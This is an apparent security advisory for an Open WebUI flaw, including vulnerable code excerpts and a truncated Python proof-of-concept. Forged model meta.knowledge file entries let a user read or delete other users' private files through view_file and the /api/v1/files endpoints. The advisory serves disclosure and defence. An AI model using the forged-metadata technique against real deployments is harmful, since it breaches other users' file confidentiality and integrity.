Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion
- When
- Where
- Global (internet)
- Category
- cyber_advisory · pip
## Summary Open WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file. ## Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can: - read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`), - read the file's content via `GET /api/v1/files/{id}/content`, and - delete the file via `DELETE /api/v1/files/{id}`. ## Root Cause `ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access: ```python # backend/open_webui/models/models.py class ModelForm(BaseModel): model_config = ConfigDict(extra='ignore') id: str base_model_id: Optional[str] = None name: str meta: ModelMeta params: ModelParams ``` Model creation only checks the caller's model-workspace permission and then stores the form data: ```python # backend/open_webui/routers/models.py if user.role != 'admin' and not await has_permission( user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db ): raise HTTPException(...) model = await Models.insert_new_model(form_data, user.id, db=db) ``` The insert sink persists the supplied `meta`: ```python # backend/open_webui/models/models.py result = Model( **{ **form_data.model_dump(exclude={'access_grants'}), 'user_id': user_id, ... } ) ``` When built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`: ```python # backend/open_webui/utils/tools.py model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', []) ... knowledge_types = {item.get('type') for item in model_knowledge} if 'file' in knowledge_types or 'collection' in knowledge_types: builtin_functions.append(view_file) ``` `view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`: ```python # backend/open_webui/tools/builtin.py if ( file.user_id != user_id and user_role != 'admin' and not any( item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or []) ) and not await has_access_to_file(...) ): return json.dumps({'error': 'File not found'}) ``` The same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID: ```python # backend/open_webui/utils/access_control/files.py for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db): knowledge_items = getattr(model.meta, 'knowledge', None) or [] for item in knowledge_items: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True ``` This branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create. ## PoC ```python #!/usr/bin/env python3 """ Verifier for forged model meta.knowledge file entries reaching builtin tools. The proof executes: - the real Models.insert_new_model() sink with a forged meta.knowledge entry - the real builtin view_file() authorization branch Fake DB/model adapters are used only to avoid requiring a live Open WebUI server. The security-sensitive code under test is Open WebUI application code. """ from __future__ import annotations import asyncio import ast import json import os import sys import types from pathlib import Path from types import SimpleNamespace REPO = Path(__file__).resolve().parents[1] BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py" def prepare_imports() -> None: sys.path.insert(0, str(REPO / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeDb: def __init__(self): self.added = [] self.committed = False self.refreshed = False def add(self, row): self.added.append(row) async def commit(self): self.committed = True async def refresh(self, row): self.refreshed = True class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def verify_model_insert_accepts_victim_file(victim_file_id: str): import open_webui.models.models as models_module fake_db = FakeDb() original_context = models_module.get_async_db_context original_set_grants = models_module.AccessGrants.set_access_grants original_to_model = models_module.Models._to_model_model async def fake_set_access_grants(*args, **kwargs): return True async def fake_to_model(self, model, access_grants=None, db=None): return SimpleNamespace( id=model.id, user_id=model.user_id, base_model_id=model.base_model_id, name=model.name, params=model.params, meta=model.meta, access_grants=[], is_active=model.is_active, created_at=model.created_at, updated_at=model.updated_at, ) try: models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) models_module.AccessGrants.set_access_grants = fake_set_access_grants models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models) inserted = await models_module.Models.insert_new_model( models_module.ModelForm( id="attacker-model", base_model_id="gpt-vision-base", name="Attacker Model", params={}, meta={ "knowledge": [ { "id": victim_file_id, "type": "file", "name": "victim-private.txt", } ], "builtinTools": {"knowledge": True}, }, ), user_id="attacker", ) finally: models_module.get_async_db_context = original_context models_module.AccessGrants.set_access_grants = original_set_grants models_module.Models._to_model_model = original_to_model stored_meta = [getattr(row, "meta", None) for row in fake_db.added] stored_knowledge_ids = [ item.get("id") for meta in stored_meta for item in ((meta or {}).get("knowledge") or []) ] return { "insert_returned_model": bool(insert
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-17 14:15 UTC
Defaxon links out to the original reporting and never republishes article text.
Correlated events
Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.